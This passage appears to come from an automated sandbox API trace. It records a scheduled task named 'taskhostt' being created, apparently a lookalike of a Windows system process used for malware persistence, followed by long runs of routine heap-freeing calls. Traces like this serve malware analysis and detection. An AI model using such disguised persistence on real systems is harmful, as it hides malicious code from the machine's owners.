(in: _Buffer=0x29d750, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x29cfb8 | out: _Buffer="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n") returned 71 [0143.018] _fileno (_File=0x7fefed02ab0) returned -2 [0143.018] _errno () returned 0xe4bb0 [0143.018] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0143.018] SetLastError (dwErrCode=0x6) [0143.018] lstrlenW (lpString="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n") returned 71 [0143.018] GetConsoleOutputCP () returned 0x0 [0143.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 71 [0143.018] GetConsoleOutputCP () returned 0x0 [0143.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n", cchWideChar=71, lpMultiByteStr=0xfffd1880, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"taskhostt\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 71 [0143.018] fprintf (in: _File=0x7fefed02ab0, _Format="%s" | out: _File=0x7fefed02ab0) returned 71 [0143.019] fflush (in: _File=0x7fefed02ab0 | out: _File=0x7fefed02ab0) returned -1 [0143.019] IUnknown:Release (This=0xe63d0) returned 0x0 [0143.019] TaskScheduler:IUnknown:Release (This=0xe7cd0) returned 0x0 [0143.019] TaskScheduler:IUnknown:Release (This=0xe7c80) returned 0x0 [0143.019] TaskScheduler:IUnknown:Release (This=0xe7a50) returned 0x1 [0143.019] lstrlenW (lpString="") returned 0 [0143.019] lstrlenW (lpString="6") returned 1 [0143.019] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0143.019] GetProcessHeap () returned 0x420000 [0143.019] GetProcessHeap () returned 0x420000 [0143.019] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c250) returned 1 [0143.019] GetProcessHeap () returned 0x420000 [0143.019] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c250) returned 0x1fc [0143.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c250 | out: hHeap=0x420000) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43b990) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b990) returned 0x4 [0143.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b990 | out: hHeap=0x420000) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4c0) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d4c0) returned 0x16 [0143.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4c0 | out: hHeap=0x420000) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4e0) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d4e0) returned 0x18 [0143.020] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d4e0 | out: hHeap=0x420000) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd50) returned 1 [0143.020] GetProcessHeap () returned 0x420000 [0143.020] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cd50) returned 0x20 [0143.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd50 | out: hHeap=0x420000) returned 1 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43bff0) returned 1 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43bff0) returned 0xa0 [0143.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43bff0 | out: hHeap=0x420000) returned 1 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba70) returned 1 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ba70) returned 0x18 [0143.021] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba70 | out: hHeap=0x420000) returned 1 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cb10) returned 1 [0143.021] GetProcessHeap () returned 0x420000 [0143.021] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cb10) returned 0x20 [0143.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cb10 | out: hHeap=0x420000) returned 1 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dc90) returned 1 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dc90) returned 0x6a [0143.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dc90 | out: hHeap=0x420000) returned 1 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d560) returned 1 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d560) returned 0x18 [0143.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d560 | out: hHeap=0x420000) returned 1 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cae0) returned 1 [0143.022] GetProcessHeap () returned 0x420000 [0143.022] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cae0) returned 0x20 [0143.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cae0 | out: hHeap=0x420000) returned 1 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43dd10) returned 1 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43dd10) returned 0x6c [0143.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43dd10 | out: hHeap=0x420000) returned 1 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d540) returned 1 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d540) returned 0x18 [0143.023] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d540 | out: hHeap=0x420000) returned 1 [0143.023] GetProcessHeap () returned 0x420000 [0143.023] GetProcessHeap () returned 0x420000 [0143.024] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cab0) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cab0) returned 0x20 [0143.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cab0 | out: hHeap=0x420000) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d520) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d520) returned 0xe [0143.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d520 | out: hHeap=0x420000) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d500) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d500) returned 0x18 [0143.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d500 | out: hHeap=0x420000) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435d50) returned 1 [0143.024] GetProcessHeap () returned 0x420000 [0143.024] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435d50) returned 0x20 [0143.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435d50 | out: hHeap=0x420000) returned 1 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43bbf0) returned 1 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43bbf0) returned 0x208 [0143.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43bbf0 | out: hHeap=0x420000) returned 1 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba50) returned 1 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ba50) returned 0x18 [0143.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba50 | out: hHeap=0x420000) returned 1 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435c60) returned 1 [0143.025] GetProcessHeap () returned 0x420000 [0143.025] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435c60) returned 0x20 [0143.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435c60 | out: hHeap=0x420000) returned 1 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d280) returned 1 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d280) returned 0x200 [0143.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d280 | out: hHeap=0x420000) returned 1 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba90) returned 1 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ba90) returned 0x18 [0143.026] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ba90 | out: hHeap=0x420000) returned 1 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435bd0) returned 1 [0143.026] GetProcessHeap () returned 0x420000 [0143.026] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435bd0) returned 0x20 [0143.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435bd0 | out: hHeap=0x420000) returned 1 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c200) returned 1 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c200) returned 0x14 [0143.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c200 | out: hHeap=0x420000) returned 1 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1e0) returned 1 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c1e0) returned 0x18 [0143.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1e0 | out: hHeap=0x420000) returned 1 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435b10) returned 1 [0143.027] GetProcessHeap () returned 0x420000 [0143.027] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435b10) returned 0x20 [0143.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435b10 | out: hHeap=0x420000) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c220) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c220) returned 0x16 [0143.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c220 | out: hHeap=0x420000) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1a0) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43c1a0) returned 0x18 [0143.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43c1a0 | out: hHeap=0x420000) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435ae0) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.028] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435ae0) returned 0x20 [0143.028] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435ae0 | out: hHeap=0x420000) returned 1 [0143.028] GetProcessHeap () returned 0x420000 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43b9d0) returned 1 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b9d0) returned 0x2 [0143.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b9d0 | out: hHeap=0x420000) returned 1 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435930) returned 1 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435930) returned 0x20 [0143.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435930 | out: hHeap=0x420000) returned 1 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435960) returned 1 [0143.029] GetProcessHeap () returned 0x420000 [0143.029] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435960) returned 0x20 [0143.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435960 | out: hHeap=0x420000) returned 1 [0143.030] GetProcessHeap () returned 0x420000 [0143.030] GetProcessHeap () returned 0x420000 [0143.030] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435990) returned 1 [0143.030] GetProcessHeap () returned 0x420000 [0143.030] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x435990) returned 0x20 [0143.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x435990 | out: hHeap=0x420000) returned 1 [0143.030] GetProcessHeap () returned 0x420000 [0143.030] GetProcessHeap () returned 0x420000 [0143.030] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x4359c0) returned 1 [0143.030] GetProcessHeap () returned 0x420000 [0143.030] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x4359c0) returned 0x20 [0143.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4359c0 | out: hHeap=0x420000) returned 1 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cb40) returned 1 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cb40) returned 0x20 [0143.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cb40 | out: hHeap=0x420000) returned 1 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d660) returned 1 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d660) returned 0xe [0143.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d660 | out: hHeap=0x420000) returned 1 [0143.031] GetProcessHeap () returned 0x420000 [0143.031] GetProcessHeap () returned 0x420000 [0143.032] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cb70) returned 1 [0143.032] GetProcessHeap () returned 0x420000 [0143.032] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cb70) returned 0x20 [0143.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cb70 | out: hHeap=0x420000) returned 1 [0143.032] GetProcessHeap () returned 0x420000 [0143.032] GetProcessHeap () returned 0x420000 [0143.032] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x437a50) returned 1 [0143.032] GetProcessHeap () returned 0x420000 [0143.032] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x437a50) returned 0x30 [0143.032] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437a50 | out: hHeap=0x420000) returned 1 [0143.032] GetProcessHeap () returned 0x420000 [0143.032] GetProcessHeap () returned 0x420000 [0143.032] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cba0) returned 1 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cba0) returned 0x20 [0143.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cba0 | out: hHeap=0x420000) returned 1 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x437a90) returned 1 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x437a90) returned 0x30 [0143.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x437a90 | out: hHeap=0x420000) returned 1 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd20) returned 1 [0143.033] GetProcessHeap () returned 0x420000 [0143.033] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cd20) returned 0x20 [0143.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cd20 | out: hHeap=0x420000) returned 1 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d580) returned 1 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d580) returned 0xe [0143.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d580 | out: hHeap=0x420000) returned 1 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccf0) returned 1 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ccf0) returned 0x20 [0143.034] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccf0 | out: hHeap=0x420000) returned 1 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5a0) returned 1 [0143.034] GetProcessHeap () returned 0x420000 [0143.034] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d5a0) returned 0x16 [0143.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5a0 | out: hHeap=0x420000) returned 1 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccc0) returned 1 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43ccc0) returned 0x20 [0143.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43ccc0 | out: hHeap=0x420000) returned 1 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5c0) returned 1 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d5c0) returned 0x16 [0143.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d5c0 | out: hHeap=0x420000) returned 1 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc90) returned 1 [0143.035] GetProcessHeap () returned 0x420000 [0143.035] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc90) returned 0x20 [0143.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc90 | out: hHeap=0x420000) returned 1 [0143.036] GetProcessHeap () returned 0x420000 [0143.036] GetProcessHeap () returned 0x420000 [0143.036] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x459b30) returned 1 [0143.036] GetProcessHeap () returned 0x420000 [0143.036] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x459b30) returned 0x82 [0143.036] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x459b30 | out: hHeap=0x420000) returned 1 [0143.036] GetProcessHeap () returned 0x420000 [0143.036] GetProcessHeap () returned 0x420000 [0143.036] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc60) returned 1 [0143.036] GetProcessHeap () returned 0x420000 [0143.036] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc60) returned 0x20 [0143.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc60 | out: hHeap=0x420000) returned 1 [0143.037] GetProcessHeap () returned 0x420000 [0143.037] GetProcessHeap () returned 0x420000 [0143.037] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d600) returned 1 [0143.037] GetProcessHeap () returned 0x420000 [0143.037] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d600) returned 0xe [0143.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d600 | out: hHeap=0x420000) returned 1 [0143.037] GetProcessHeap () returned 0x420000 [0143.037] GetProcessHeap () returned 0x420000 [0143.037] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc30) returned 1 [0143.037] GetProcessHeap () returned 0x420000 [0143.037] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc30) returned 0x20 [0143.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc30 | out: hHeap=0x420000) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d620) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d620) returned 0xa [0143.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d620 | out: hHeap=0x420000) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc00) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cc00) returned 0x20 [0143.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cc00 | out: hHeap=0x420000) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43d640) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43d640) returned 0xc [0143.038] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43d640 | out: hHeap=0x420000) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43cbd0) returned 1 [0143.038] GetProcessHeap () returned 0x420000 [0143.038] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43cbd0) returned 0x20 [0143.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43cbd0 | out: hHeap=0x420000) returned 1 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x43b9f0) returned 1 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x43b9f0) returned 0x18 [0143.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x43b9f0 | out: hHeap=0x420000) returned 1 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x4359f0) returned 1 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] RtlSizeHeap (HeapHandle=0x420000, Flags=0x0, MemoryPointer=0x4359f0) returned 0x20 [0143.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4359f0 | out: hHeap=0x420000) returned 1 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] HeapValidate (hHeap=0x420000, dwFlags=0x0, lpMem=0x435a20) returned 1 [0143.039] GetProcessHeap () returned 0x420000 [0143.039] 